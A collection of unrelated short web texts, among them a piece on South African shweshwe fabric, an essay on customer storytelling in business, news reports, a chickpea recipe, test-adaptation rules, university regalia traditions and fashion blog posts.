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Did you know?
Shweshwe fabric has even appeared on the catwalks of Paris.
'Shweshwe.' Say it again. 'Shweshwe.' Feels good on the tongue, doesn't it? Sounds good, too.
And that's what you hear when Xhosa ladies go by in their traditional dresses.
The formal name for shweshwe (also sometimes written shwe shwe) is 'Indigo-dyed discharge printed fabric'. Historians claim that indigo cloth arrived in Africa more than 2 000 years ago, used as trade goods by the Arabs and Indians.
But it really took off in South Africa when German settlers introduced it to the Xhosa people in the mid-1800s.
Shweshwe is a stiff cotton fabric that initially came from India and was heavily starched to fight off the damp in the ships' storage compartments as it crossed the ocean to the Eastern Cape.
Xhosa women took a look at these wondrous bolts of cloth, fell in love with the shweshwe fabric and made it their own.
Da Gama Textiles in King William's Town, Eastern Cape, has – in honour of former president Nelson Mandela – brought out a 'Madiba's Range' of the fabric, with his face adorned in the centre.
Da Gama has been producing shweshwe fabric since 1948, supplying an ever-faithful traditional market.
Although many associate the word 'shweshwe' with the familiar rustling of the fabric, others say it was named after King Moshoeshoe I of the Basotho.
In the 1840s, French missionaries gave some of the cloth to King Moshoeshoe and this, it is claimed, led to the name ishweshwe.
Whatever the origin of the name, shweshwe is a traditional dress fabric that has become wildly popular in modern African couture culture.
Travel tips & Planning info
Who to contact
Da Gama Textiles
Tel: +27 (0)40 608 6200
Email: email@example.com
How to get here
Da Gama Textiles is based in Zwelitsha, outside King William's Town, in the Eastern Cape. You can, however, buy shweshwe fabric at most craft outlets in the Eastern Cape and, indeed, nationally.


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This video was produced in accordance with Jury Rule 11 to provide prospective jurors with an orientation prior to the selection process to aid in understanding their role in the legal system. This video gives an overview of the jury system in Indiana, including the importance of jury service, the jury selection process, the key people involved in a trial, what to expect during the trial, and a discussion of jury deliberations.
This video explains the process of Alternative Dispute Resolution (sometimes known as Mediation) to settle court cases in Indiana. Mediation is often an appropriate choice in settling family-related cases.
"Family Matters: Choosing to Represent Yourself in Court" is a guide for self-represented (pro se) litigants developed by the Indiana Supreme Court. This video will help you understand the importance of seeking legal advice when you must go to court and your responsibilities and the procedures you must follow if you choose to represent yourself.
Encouraging troubled Hoosier borrowers facing foreclosure to take advantage of the right to a settlement conference, the Indiana Foreclosure Prevention Network and Indiana Supreme Court have partnered to create a program explaining the settlement conference process, and how to seek help if facing foreclosure. Learn more about mortgage foreclosure settlement conferences at http://www.877gethope.org.

subset: commoncrawl


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Please wait while you are redirected.
By Tony Gorry & Bob WestbrookIn our title, computers stand between customers and
companies as they so commonly do in today's world of
commerce. In digital technology, businesses have found
new ways to relate to their customers and to gain more
knowledge about them. And even beyond the rush of holiday
shopping, the Internet offers customers quick and easy
access to a greater array of goods and services than can be
found in local venues, at lower prices as well. Despite the
convenience of point and click shopping, however, many of
us find pleasure in patronizing small shops, which recall the
general store of an earlier time. There the proprietor knew his
customers well. He wisely attended closely to their opinions,
suggestions, and complaints, and developed his business in
light of what he learned. In today's small stores, the possibility
of such interchanges remains, interactions that benefit
customer and owner alike. Less happily, the technology that
increasingly mediates relations between large companies
and their customers prevents such conversations, to the
detriment of both.
A story comes to us as a new sense
So says the poet W. S. Merwin. At the counter, conversation
with a customer may bring the owner a new perspective on
the business. The interplay of empathy and imagination
makes storytelling so potent. Emotional centers deep in
our brains engender empathy, which two hundred years
ago, Adam Smith characterized as "pity for the sorrowful,
anguish for the miserable, joy for the successful." Our highly
developed imagination, as J. K. Rowling recently said, "is not
only the uniquely human capacity to envision that which is
not, and therefore the fount of all invention and innovation.
In its arguably most transformative and revelatory capacity,
it is the power that enables us to empathise with humans
whose experiences we have never shared." Storytelling
entwines empathy and imagination to put the shop owner
into the customer's shoes, giving her a vantage point on her
business not to be found in the pale abstractions of market
research reports and sales analyses so favored by large
companies today.
Not only can we imagine the circumstances of
others, we have as well an insatiable desire to do
so. Millions of years of natural selection forged
our remarkable human sociability, our deep and
nuanced involvement with one another. Shared
narratives preserved vital practical knowledge,
guided behavior and by their recounting, bound
groups together. When one hundred years ago
Joseph Conrad claimed "the artist appeals to
that part of our being which is not dependent on
wisdom: to that in us which is a gift and not an
acquisition—and, therefore, more permanently
enduring," he might have been speaking as an
evolutionary psychologist.
We have inherited from our ancient ancestors
a hunger for stories and an irresistible urge
to tell them. Our devotion to novels, movies,
television shows, and now the Internet proves
how eager we are to join the lives of others real
and imagined. We even tell stories to ourselves.
Gossip still serves its ancient ends of monitoring
group activity, maintaining hierarchy and
promoting bonding, but we so enjoy imagining
the lives of others, we gossip about people
we don't know, inventing their stories for our
own pleasure.
The ubiquity of storytelling
So naturally, we want to tell stories to businesses.
We want to relate our experiences with their
products or services and our interactions with
their employees. We want to recount how their
offerings entered into our lives, how well they
served their intended purposes, or how they fell
short of our expectations.
In a small store, our stories generally receive
empathetic hearing. The proprietor who
would prosper listens. But a century ago, small
establishments, which today might seem quaint
and endearing, proved less than charming to
their owners, particularly to entrepreneurs who
chafed under the constraints of locality. When
advances in technology loosened constraints
on expansion, businesses eagerly reached for
more customers than could be found nearby.
While this expansion brought many benefits
to customers and companies alike, it exacted a
price by undermining storytelling and beginning
an estrangement between customers and
businesses that is worsening today.
The evolution of the Sears catalog is an apt
metaphor for this disconnection. The catalog
had a modest beginning as a printed mailer to
advertise watches and jewelry to homesteaders
who, following the westward expansion of
the railroad, were settling on the American Great Plains. The catalog could travel the rails for a penny
a pound to link the warehouse in Chicago to distant prairie
towns. Innovations in printing technology soon enriched
the depiction of products. A color section was added in 1898
to dramatize certain presentations, and in time photographs
replaced drawings. For the many customers on the prairie,
the burgeoning catalog served as a surrogate for a trip to Mr.
Sears' store.
Today's electronic catalogs, grandly embellished by
technology, stand in sharp contrast to those mailers of a
century ago, but the purposes they serve remain the same: to
garner customers and increase sales. A devotion to growth,
however, has greatly lessened corporate interest in people
themselves, because attending to the concerns of so many
seems cumbersome and expensive, and with the development
of analytical tools, unnecessary. In their quest for efficiency,
businesses are using technology to shift customer support
jobs to less skilled and lower-cost workers or to eliminate
people altogether from those processes.
Falling on deaf ears
When customers wish to talk about their experiences with
goods and services, when they want to tell their stories, they
find themselves very far away from anyone willing to listen.
Few of us have escaped plodding interactions with robots
or humans acting under robotic control, all unmoved by
our worries or needs. Websites and voice response systems
promise support and encourage reports of difficulties or
requests for information, then swallow submissions and
return only empty promises of action. Interactions with
customers are reduced to the capabilities of the technology;
concerns and calls for help must be squeezed into simple
menu options.
There is no way for a customer to tell her story, to say anything
that falls outside the highly constrained vocabulary of today's automated customer service. Complaints falling on robotic
ears stir neither imagination nor empathy. All that remains
is a tedious exchange of some information that denies the
possibility of true conversation. This devotion to efficiency
has in a sense moved customers back to the prairie. Then, too,
keeping with our analogy, business leaders seldom visit the
prairie; they know very little of life there and so know little of
the people their companies purport to serve.
Since its debut in the 1990s, the quarterly American Customer
Satisfaction Index has declined for reasons that are debated,
but we believe the technologic facades erected by big
companies make them seem indifferent to product or service
failure, ineffectual sales or service, poor warranty coverage,
inadequate product information, and weak technical support.
Behind these walls, the company suffers from its inattention
to customer storytelling. At its "counter," front line personnel
hear many stories that speak to the ways in which the business
works. And on the tumultuous Internet, conversations are
ongoing about its products, services, and prospects. Some
stories should carry ideas to those conceiving new products,
envisioning new markets or designing organizational
processes. Occasionally, one might sound a warning. A few
should even reach the executive suite. But an intense desire
for profit has made the company deaf to what customers have
to say.
Open for business
Why should so many companies be estranged from their
customers? Distance prevented those living on the prairie
from accepting Mr. Sears' long-standing invitation to visit his
company. But digital technology has remade the topography of
commerce. Many of the same tools that have proved a boon to
businesses have drawn millions to social networking, which
is supplanting the traditional face-to-face community with
fluid electronic arenas for gossip, preening and posturing and
importantly for our concerns, storytelling. Now customers
have the wherewithal to step through an electronic door to
talk to the proprietor or employees of a company, to have
a conversation much like those held in the general store of
long ago.
Why not invite them in? Some companies do, but many
proffer no such invitation. Instead technology deployed in the
interests of efficiency bars customers from the door that is
open to suppliers and distributors. Why don't companies step
out through the same door not only to trumpet their wares, but
to also meet customers in the new electronic communities?
We believe managers of large companies should follow the
lead of the owner of that modest general store by listening to
what people would tell them and what they would say about
their companies. But many executives feel such attention is
unnecessary. Stories, after all, constitute anecdotal evidence
about which they have been cautioned to be suspicious.
Emboldened by digital tracking, which swells the grist for
data-grinding mills, many business leaders are confident
that they can understand life on the prairie without ever
going there or meeting someone who lives there.
Further, the prospect of hordes of stories breaching company
walls may be alarming. Even if most are dispatched at the
front line, too many might find their way to the executive
offices, filling an enormous "In Box" with querulous demands
for action. Fearing this, companies treat customers like lab
animals who Merwin says are "caged in numbers / hidden
in plain sight." Yet customers are more than patterns of
purchases. When executives and managers lose them in
a welter of abstraction, when they don't hear their stories
of pleasure, satisfaction or frustration with products and
services, businesses suffer along with their customers.
The front lineA number of companies have fostered innovation and
enhanced their reputations for service through careful
listening to what their customers have to say. Ritz Carlton
seeks stories that recount exemplarily service; Starbucks,
ones that suggest new products and services; Harley Davidson,
those that express the meaning of the bike to the rider. Stories
from the front line are valuable complements to quantitative
assessments of customer behavior.
At the front line, it is hoped that most customers will receive
suitable attention. Some of their stories, however, will merit
retelling and amalgamation with other narratives to set
managers on the path to new thinking about the company's
offerings or its ways of working. Of course, it is a rare customer
who is a good storyteller, who can frame an experience like a fable focused on essential points and stripped of distracting
peripheral information. All of us, however, know how to
engage a storyteller with questions, observations, and even
challenges to call forth segments of story line and set its
meaning in the current context.
The robotic systems that front so many companies neither
share experiences with customers nor care in the least for
the success of the company. Humans, however, do both. At
Levi Strauss more than 8,000 employees have been trained
as amateur ethnographers to help customers tell their stories
and to learn from what they say. Retellings of selected stories
in reports to management have been important in reinventing
market research.
Even an old company can follow this path. Fiskars
Corporation, a 360-year-old Finnish firm, produces ergonomic
scissors widely used by 'crafters' passionately involved with
scrapbooking. To solidify its relationship with crafters, the
company created the 'Fiskateers' Internet community in
which customers join with product engineers and developers
to share stories, answer questions, find solutions to problems,
and critique designs.
Better for customers, better for companiesIn contrast to businesses that want technology to simplify
and streamline transactions, customers want it to enrich
interactions. Imagination and empathy have driven the explosive growth of social networking. Having so eagerly
adopted its tools, customers would find it easy to interact with
congenial companies. Chatting or writing about products and
services is easy for Internet users accustomed to posting to
blogs, Facebook or Twitter. And the digital accounts left by
these technologies would give businesses a valuable record of
customer perspectives, attitudes and concerns.
Social networks, then, offer appealing alternative
communications channels with broad acceptance among
customers. But companies need to open more ears to hear
what customers have to say. This means adopting a new
view of social networking. Instead of a venue for intensified
advertising, the Internet should be understood as a setting for
conversation and collaboration. The same social networking
that gives voice to countless Internet users can enable
employees and even executives to listen and respond to them.
With these tools, those who build a company's products, provide
its services, set its directions, and govern its practices can meet
customers in electronic analogs of face-to-face conversations.
An active, empathetic involvement in conversations outside
narrow "official" company communication channels can
promote new understanding of customers within the business
and better prepare employees to act on their behalf.
Dr. G. Anthony Gorry is the Friedkin Professor of Management and
Professor of Computer Science at Rice University where he is also the
Director of the Center for Technology in Teaching and Learning. He is
an Adjunct Professor of Neuroscience at Baylor College of Medicine
and a director of the W. M. Keck Center for Interdisciplinary Bioscience
Training, a collaborative program of six institutions in the Greater
Houston area. Dr. Robert A. Westbrook is the William Alexander
Kirkland Professor of Business. He has been a full-time member of
the marketing faculty group in the Jones School since 1989.
The four papers on which this article is
based emerged from conversations Tony
Gorry and Bob Westbrook had, comparing
their consulting experiences in different
organizations at different times. The papers
extended their conversation to a broad
audience, making frequent use of expressions
such as "we believe" or "in our view." Tony
said, "We were speaking from experience, not
data and surveys."
For more complete discussion of the issues
raised here, see their publications:


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Segments Sponsored by
It's a common sight on the packaging of the typical private label lotion or serum in the supermarket or the drugstore aisles: Under the product's name, one often finds in small print, "Compare to [national brand]." Is this really a fair comparison, though? And are consumers buying into it?
The answer isn't a simple one. Often, private label skin care items are quite comparable to the big-name brands, both in terms of ingredients and efficacy. However, consumers around the world appear to have mixed feelings on the matter. A recent report from consumer market research company Canadean indicated that, while 44% of U.K. shoppers believed private label and store brands are produced in the same factories, they're less inclined to believe this when it comes to personal care and hair care. The findings were similar in the U.S.
According to a 2012 study by The Integer Group, 65% of respondents stated that they prefer a brand name to a private label product in the health and beauty category. Says Craig Elston, senior vice president of Integer, "Categories that offer shoppers frequent innovations such as performance and variety, and categories where personal stakes are higher, are more difficult areas for private label products to compete."
Elston is right—personal stakes are incredibly high to a consumer when it comes to skin care and beauty. However, many private label companies are rising to the challenge of offering high-performing and unique products—all at an affordable price point—and as a result, they're staying competitive and luring in consumers.
The success of a private label beauty product doesn't necessarily hinge on its ability to market itself as "just as good" as the national brand. Rather, it's likely to perform if it's exceptional in its own right.
In January 2013, a three-way partnership between Walmart, actress Drew Barrymore and private label beauty manufacturer Maesa was announced; together, they launched Flower, a line of exclusive, custom-formulated cosmetics. The portfolio includes 181 eye, lip, face and nail products, and has an average price of about $6.98 per SKU. Because Barrymore is an owner and the face of the brand, the budget that a traditional brand would spend on advertising went instead into the formulation of the products, giving them an edge over a typical mass market line. "Drew has brought her passion and knowledge of premium cosmetics to Flower," says Petra Tucker-Moss, senior director of product development and marketing at Maesa. "Her firsthand knowledge of luxury cosmetics allowed us to collaborate and develop a makeup line that delivers on its promise of bringing premium quality makeup to mass."
Likewise, Your Name Professional Products hasn't earned its stellar reputation by copying its competitors—the company is a standout in its field because it focuses on high-quality formulations and keeping up with industry trends. Examples include the recently launched Skin Transforming Serum and Skin Transforming Foundation with SPF, available in 12 shades. "These hybrid formulas are a new synergistic approach, which allows integrating active skin care ingredients into skin care formulas that are efficaciously absorbed by the skin," explains Brenda Gallagher, Your Name's director of sales. "The synergy is that the serum compounds the skin care effects and benefits of how the foundation works on the skin. They are the dynamic duo. With these products, we are feeding the skin and making sure the cosmetics are as skin like as possible."
Offering a wide variety of formulations to meet the ever-growing range of needs for customers is also key to a private label manufacturer's success. "A private label lab like ours designs over 100 formulas per month, whereas the standard brand owner will launch only a handful of new formulas a year," says Sundeep Gill, vice president of research and development for Sun Deep Cosmetics. "The private label manufacturer's focus on innovation has to be very keen to feed the immense need for new product development."
For some private label lines, it's their commitment to chemical-free formulations and the health of the consumer that makes them stand out among the competition. In late fall 2012, Walgreens launched Ology, its proprietary line of personal care and household goods, specifically made both affordable and free from harsh chemicals. Among the Ology offerings are paper products, a laundry detergent, adult shampoo and conditioner, and a lotion and two-in-one body wash for babies.


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WATERFORD TOWNSHIP, Mich. - Waterford police said they have arrested one of three suspects who are accused of opening fire in a roller skating rink.
Five people were hurt in the shooting, which happened Dec. 23 at the Rolladium Skating Center.
Police had said they were looking for 17-year-old Cheyenne Ingram, 18-year-old Robert Lee German and 21-year-old Tre-Andis Marquan-Jose Jamison, saying the shooting involved two rival Pontiac gangs -- one known as the "Goon Squad", and the other as "1st Enfantry."
Warrants with charges including assault with intent to murder, conspiracy and firearm possession were issued against all three.
Police said Ingram was arrested early Tuesday morning after the car he was in was pulled over in the area of 14 Mile Road and Interstate 75.
The other two are still on the lam. Police said they should be considered armed and dangerous.
About 290 people were inside the rink, about 25 miles northwest of Detroit, when the shooting occurred at the end of a private, pre-Christmas party.
Copyright 2012 by ClickOnDetroit.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.


text: She's just annoying like Sasuke says. She is playing very dirty against Naruto, because she asked Sasuke if it was possible to take her with him and when he disagreed, she begun to beg Naruto to bring Sasuke back. And now cry, cry, cry little baby. Hate her since Episode 1 of the classic Naruto-series.


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Firstly, thank you all for such supportive feedback on my sugar-free challenge! I am really glad to hear so many of you have been inspired to join the challenge and the rest of you are at least considering it! Please don't hesitate to contact me if you'd like more info or tips, or you'd like to give more feedback.
Secondly, we are finally moving this weekend. The long 12-week settlement period is finally over and we will get the keys into our new home tomorrow. As you can imagine, there has been a lot of packing and organising ahead of the move and I think I've shared the pains and joys of moving with you more than once during these past weeks.
As it is the first day of summer her in Australia, I was planning to share another seasonal recipe guide with you today. This will have to wait, however, and instead you'll get to enjoy the recipe for these little chickpea patties. Together with the creamy avocado dip, these patties make a really tasty vegetarian meal. You can alter the spices as you wish and feel free to add fresh herbs, as well.
I might have to take a little break from blogging for a few days until we are settled into our new home. So for now, have a lovely weekend!
Chickpea patties with avocado dip
(makes 8-10 patties)
200g raw chickpeas, soaked overnight
2 tablespoons sesame seeds
1 tablespoon sweet paprika
1 teaspoon ground ginger (or fresh)
zest of one lemon
juice of 1/2 lemon
1 tablespoon extra-virgin olive oil
1 large egg (organic, free-range)
pinch of sea salt
freshly ground black pepper
almond meal, for coating
virgin coconut oil, for frying*
1/2 avocado
juice of 1/2 lemon
big handful of fresh herbs (mint, basil)
pinch of sea salt
* you could try baking these as well, in 170C for about 15-20 minutes, turning them half way through.
1. Drain the chickpeas and place them in a saucepan with plenty of fresh water. Cook until just tender, about 20 minutes. Drain.
2. Place the chickpeas in a blender with the sesame seeds, paprika, ginger, olive oil and lemon. Blend until coarsely chopped, even with a few whole chickpeas here and there is fine. Add the egg in the mixture, stir well to mix, then season the mixture with some salt and pepper.
3. With wet hands, form small patties of the mixture. Refrigerate the patties for 20 minutes.
4. Coat each patty in some almond meal and fry in coconut oil for 3-4 minutes on each side. They should be soft inside, not dry.
5. For the dip, blend all the ingredients into a smooth paste. Serve with the patties.


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Portraiture Through the Lens
Photography is the result of combining several different technologies invented over many years. These technologies continue to evolve to this day. As photographic equipment becomes more diverse, the ability to make variations of portraits gives photographers more freedom and creativity.
Today, it is almost impossible to image a time before photography existed. The invention of photography brought together optics, chemistry and technology, allowing people to see the world in a dramatically new way. A photograph became a way of communicating information about other people, places, and cultures. Photography provided new and exciting ways to see what was once visually unknown.
The photograph allowed a new way of looking at ourselves. With the invention of the camera, photography became an essential tool in recording human behavior, customs, and lifestyles. A portrait is a story filled with clues and ideas about who a person is, what their status in society is, and sometimes even, a reflection of their self-worth.
From cave paintings, to sculptures and oil-on-canvas, artists have long been drawn to creating self-portraits. Self-portraits may reveal not only psychological features of a person, but also their relationships with another person.
Funding for this project was provided by a grant from the National Endowment for the Arts and a donation from PhotoWings.


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Looks of the Week!
Looks of the Week!
This week's Look Book provided a colorful array of ensembles. I can tell you're getting antsy for Spring! Highlights were cozy in SF, tough ruffles, flower power, '80s woman, fabulous fish, and talk to me in teal. Chuchu223's outfit stood out because it's ladylike but youthful. Talk about looking sleek, top to bottom.
0previous images
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The wife of a convicted Worcester Park paedophile will join her husband behind bars after she was found guilty of trying to mislead police investigating him.
Wendy Hopkins, 60, was jailed for 12 months today for perverting the course of justice by tampering with statements about her husband in September 2010.
She was found guilty at Kingston Crown Court yesterday.
Judge Susan Tapping said Mrs Hopkins was unwilling to hear allegations against her husband Michael.
He was jailed in October for eight-and-a-half years for a string of attacks on girls as young as six-years-old.
She said: "I have no doubt that these serious allegations were a complete bombshell to you.
"You are one of countless women who love and trust a man."
But she added: "These men are skilled at hiding their offending."
But defence counsel Marcus Fletcher said: "This is a woman that has been married for 20 years.
"When partners feel very very much in love, that love can blind partners - that's what's happened in this case."
He added Mrs Hopkins, of Church Road, Worcester Park, was "a woman of exemplary character" who "has worked her whole life".
But he conceded: "This offence strikes at the heart of the criminal justice system - and she knows that."
The jury had retired for three hours and 27 minutes before returning with a 10 to two majority verdict the day before.
Mrs Hopkins, a customer services supervisor at Interval International, in Raynes Park, cupped her shaking hands as she was told she would go to prison.
Judge Tapping said: "The manipulation of evidence is very serious indeed. This offence is too serious to drop. Custody is the only possible sentence to reflect the gravity of what you did."


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CAPA Core AdaptationsHow to adapt test tasks to address the unique needs of children with disabilities.
Students eligible for the California Alternate Performance Assessment (CAPA) for Science represent a diverse population. Without compromising the comparability of scores, adaptations are allowed on the CAPA for Science to ensure the student's optimal performance. The CAPA includes two types of adaptations:
- Suggested adaptations for particular tasks, as specified in the task preparation.
- Core adaptations that are applicable to many of the tasks.
The list that follows includes the core adaptations that may be appropriate for students across many of the CAPA for Science tasks, and is not specifically limited to the disability subcategory listed. The examiner should become familiar with these core adaptations and use them when appropriate. Unlisted adaptations (such as COLORING stimulus cards) are not allowed. If an adaptation is not listed, check with the CDE before beginning the administration of CAPA to the student.
General Adaptations:
- The following are interchangeable: "Show me," "Point to," "Give me," "Find."
- Position manipulatives and stimulus cards in the way that students can best perceive them.
- Place materials on a surface with a boundary so they will not fall away or roll out of reach as a student uses them.
- Structure the testing environment to eliminate distractions for students who are particularly distractible.
Visual Impairments:
- As needed, enlarge stimulus cards.
- Substitute braille, textured, or auditory materials (such as a beeping ball) for visual stimulus materials if such materials are used regularly by the student.
- Change cues such as "Show me" to cues such as "Tell me."
- Describe pictures as needed.
- Allow students to handle objects as needed.
- If a student uses glasses, they should be worn during the assessment.
Auditory Impairments:
- Allow the student to use an augmentative communication device.
- Use American Sign Language (ASL) or manually coded English in place of oral speech when appropriate.
- Allow nonverbal students to respond with gestures, movements, or vocalization in place of speech.
- When appropriate, accept eye gaze as a way of indicating a response.
- If a student uses hearing aids, they should be worn during the assessment. Check the aids daily to make sure they are functioning properly.
Sensorimotor Impairments:
- Extend wait times if the student has difficulty initiating an activity.
- Accept a change in muscle tone or a change in facial expression as an observed behavior.
- Position and stabilize the student so that the most controlled movement is possible.
- Allow students to direct another in performing physical tasks.


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DETROIT - High-powered magnets are great for hanging grocery lists and other reminders, but they can easily end up in the hands of small children.
If swallowed, a high-powered magnet can permanently damage a child's bowels.
In the past year alone, there were more than 200 cases of swallowed magnets requiring medical attention.
More than half of those cases occurred in young children and 80 percent required endoscopic procedures or surgery to remove.
Experts say parents need to take steps to prevent these incidents.
"Childproof your home. If you have little magnets on your fridge keep them high enough, so that they are out of kid range and out of climbing kid range, " said Dr. Ellen Rome, a Cleveland Clinic pediatrician.
"Either borrow a toddler and go through the house, following them, looking where all of your danger zones are or get on your hands and knees yourself and go through the house and figure out from a kid's perspective what looks tempting," said Rome.
Remember, kids may be attracted to dangers adults may overlook.
Copyright 2012 by ClickOnDetroit.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.


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About ten years ago I visited Chateau Margaux in Bordeaux. Paul Pontallier, the chief winemaker there, told me that prices for the most sought-after red Bordeauxs had already reached such stratospheric levels that it had become almost embarrassing. "My friends can't afford to buy Margaux," he lamented. Since then, it's got even worse. Now it seems that even the president of France cannot afford to drink the top clarets. The Elysée has just announced that it will sell off about 10% of the presidential wine collection – and restock the cellars with cheaper wines.
It is an understandable decision. I don't know if there will be any Margaux sold at auction, but I see that a bottle of Margaux 2000 now goes for about £700 (€825). The auction will also apparently include some Petrus 1990, which the FT this morning reckoned would go for €2,200 a bottle. (Actually my research suggests that would be a bargain and that the market price is now closer to €3,000).
But it is important that the restocking exercise should be carried out carefully. That is because a stellar cellar can be a genuine diplomatic asset. There are diplomats who attribute Britain's success, in persuading France to make the fatal decision to reverse its opposition to British membership of the European Economic Community (now the EU), back in the 1970s, to the magnificence of the wines that Sir Christopher Soames – the then British ambassador to Paris – poured down the throats of key French decision-makers. Read more


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SWINDON rhythmic gymnast Jade Faulkner will make what will probably be her last appearance at the British Championships on Saturday after a 14-year career.
A good performance in Stoke-on-Trent could also still see her make the England squad for the Commonwealth Games in Glasgow.
After competing in the Great Britain group at London 2012, Faulkner moved back into individual competition with the hope of qualifying for her second Commonwealth Games. After some indifferent results that aim remains in the balance.
She will be part of a City of Bath team confident of winning medals, and will line-up alongside Olympic teammate Lynne Hutchison. Despite struggling with a lack of funding she could still have one last successful summer.
Faulkner said: "I'm looking forward to being at the British Championships again, as I've not competed there for the last three years due to school commitments and because I was training with the Olympic group in 2011 and 2012, so it would be nice to show the audience how much I've changed and matured as a gymnast.
"It took quite some time to adjust to being an individual again and I think psychologically it's been quite hard. While training as part of a group there would always be someone there to support you, and my team were a massive motivation, we pushed each other as well as ourselves.
"I've had a few setbacks this year, I haven't been ranking as high as I would have liked to so far. My priority now is to give a good performance, I can only control what I do, not the rankings."
The 2012 British group were involved in a high profile battle with British Gymnastics in the lead up to the Olympics and had to appeal to be allowed to compete.
Since the Games, any small amount of funding that was there has disappeared and gymnasts like Faulkner have been left financially backing themselves.
"We had a lot more outside support while in the group and it seemed like it all disappeared as soon as the Games were over," the 20-year-old said.
"We were hoping that British Gymnastics could help support a group to train at high intensity, possibly for the next Olympics. But when it feels like your own governing body is against you, it's hard to keep fighting to prove your worthiness."
The exception to the general lack of support for British rhythmic stars has come in Wales. Welsh Gymnastics have pumped money into their Commonwealth team and are now one of the favourites to win a medal.
Although Faulkner knows that the Welsh have a slight advantage, she still thinks that England could push them for a podium place.
She said: "Wales have been very fortunate to have all the funding and training put in place for them, meaning it's easier for them to focus purely on training.
"Team England rhythmic gymnasts have had to find funding for themselves. Wales look like strong medal contenders due to all the support, however we cannot discount England from challenging, it is down to what happens on the day."


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The commencement ceremony begins with a formal academic procession. At Aurora University, selected members of the Board of Trustees enter first and are followed by members of the faculty, who often march in order of seniority. The university's President is the final person to enter the tent. The President is preceded by the Provost who carries the ceremonial mace. The President wears the institution's presidential chain as a symbol of the university's authority.
The Presidential Chain
A gift of the Class of 1972, the presidential chain is the symbol of the highest collegiate office. The bold, 16-link chain is crafted of pewter and supports a three-piece medallion. The topmost transitional section is capped by a 10 mm white pearl, stylistically reminiscent of the Spartan Torch in the college seal. The central section of the medallion incorporates the Aurora College sunburst colophon. The letters "AC" are crafted in and appliquéd on a three-inch silver disk and surrounded by deep blue enamel, the college color. The disk rests in a forged pewter bezel framed by 10 semicircular "rays" which are terminated by 6 mm white pearls. Completing the medallion is an ivy leaf surrounded by blue enamel, the college symbol of highest scholarship. The university's President wears the institution's presidential chain at formal academic events such as convocation and commencement. Designed by Scott B. Palmer, a member of the class of 1972, it was crafted by Elizabeth Budd of Manchester, Connecticut.
The Academic Ceremonial Mace
The university mace was designed to represent the founding schools of Aurora University - Aurora College and George Williams College. The mace, originally a weapon used in the middle ages, has over the centuries become a symbol of order and authority. The design of the center head of the mace links Aurora College and George Williams College to Aurora University. The center head also includes the university seal. The mace is carried by the university's Provost in the processions that begin and end academic exercises such as convocation and commencement and immediately precedes the President. When it is not being used in university ceremonies, the mace is displayed in the President's office.
At Aurora University, academic regalia is worn on ceremonial occasions, in a manner consistent with a tradition that finds its origins in the Middle Ages. As early as 1321, university degree holders wore costumes designed to reflect their particular status and roles. In addition to signaling differences in rank, the garments also served functional purposes. For example, the long gown provided necessary warmth in the drafty buildings of the time. Since each institution of higher learning was free to develop its own distinctive regalia, many different forms of academic dress are found within the European tradition.
American colleges and universities opted for a greater degree of uniformity. Their representatives gathered at Columbia University in 1895 to devise common standards for academic regalia. In the United States, gowns distinguish the rank of the wearer. For instance, the bachelor's gown is unadorned and is characterized by wide sleeves that are pointed at the hem. The gowns worn by master's degree recipients also are unadorned, but have curiously elongated sleeves. Doctoral gowns are trimmed with velvet facings down the front. Their bell-shaped sleeves are trimmed with three velvet bars across the sleeves.
Graduates of most American colleges and universities wear black gowns. However, some institutions provide for special variations. For example, doctoral recipients from Harvard University wear crimson gowns; those from Yale University wear blue; and individuals holding doctoral degrees from the University of Chicago and Northwestern University wear maroon and purple respectively.
Black mortarboards are standard to most institutions of higher learning, although some feature soft velvet tams or Elizabethan caps. Traditionally, candidates for degrees wear the tassels on their mortarboards on the right, while those upon whom degrees have been conferred wear them on the left. Recipients of doctoral degrees may wear either black or gold tassels.
Hoods provide the color in an academic procession. These garments, which today serve only ceremonial purposes, are worn fastened at the front of the collar and draped over the shoulders in such a way as to display the linings, which represent the color of the university awarding the degree. The hoods also have velvet linings in colors that represent particular disciplines or fields of study. Those worn by graduates in arts and letters, for example, are trimmed in white velvet, while those worn by degree recipients in education are trimmed in light blue velvet.
Commencement Etiquette
In keeping with the dignity of this event, members of the audience are encouraged to remain seated during the processional and recessional. In addition, alarm watches, cellular phones and electronic pagers should be turned off during the ceremony. Professional photographs will be taken of each graduate as his or her degree is awarded. Complimentary proofs will be mailed later. Latecomers will be seated following the invocation.


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PHOTOS: UF vs. FGCU sidelines
Published: Friday, March 29, 2013 at 6:01 a.m.
Last Modified: Saturday, March 30, 2013 at 3:34 a.m.
See more photos here:
Reader comments posted to this article may be published in our print edition. All rights reserved. This copyrighted material may not be re-published without permission. Links are encouraged.


text: Representatives of Harun Yahya held a conference about "The Miracles of the Qur'an" and "The Fact of Creation" at Raleigh Islam Union, the biggest mosque in the state of North Carolina, USA, on the 21st and 22nd October, 2011 respectively. The attendees noted that they have followed Harun Yahya's English works since they were first published and they enjoyed these works very much. There were many university and masters students, academicians and lecturers among the listeners.


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learning works Archives
Time Magazine Shines Spotlight On Arizona's Technical Education Programs
May 18, 2012 by in Business News | Economy | Education
"Learning that Works," an article featured in the May 14 issue of Time Magazine, honors Arizona's exemplary career and technical education programs, specifically the East Valley Institute of Technology and Monument Valley High School's Agribusiness Pathways. These programs are two extraordinary examples of Arizona's statewide commitment to career and technical education. State Superintendent of Public Instruction… Read More →


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I hope your shoes got the memo…it looks like studs are it! From a little to a lot, a studded pair of shoes is more than just spikes. Today's hottest designers are here to give your feet a little attention.
Normally, I wouldn't think I'd wear a pair of studded shoes, but some of these are HOT! I'm just kind of afraid of hurting myself when I cross my feet. I'm such a klutz! LOL! Unless, I get #5 by Alexander McQueen…I don't see any spikes and these are delicious! So what do you think?
Are studded shoes for you?
Which pair is your favorite?
- Valentino Studded Ankle-Wrap Ballerina Flat via Neiman Marcus $895
- Jeffrey Campbell 'Prickly' Pump via Nordstrom $224.95
- ALDO Perusia $100
- Giuseppe Zanotti Studded Crystal-Covered No-Heel Bootie via Neiman Marcus $2950
- Alexander McQueen Studded T-Strap Platform Sandal via Neiman Marcus $2295
- Miss Sixty Nevada Studded Bootie via Neiman Marcus $295
- Steve Madden 'Extraa' Flat via Nordstrom $99.95
- Jeffrey Campbell 'Aubrey Spike' Pump via Nordstrom $179.95
- Valentino Studded Leather Ankle Boot via Neiman Marcus $1495
- Vince Camuto 'Jamma' Pump via Nordstrom $139.95


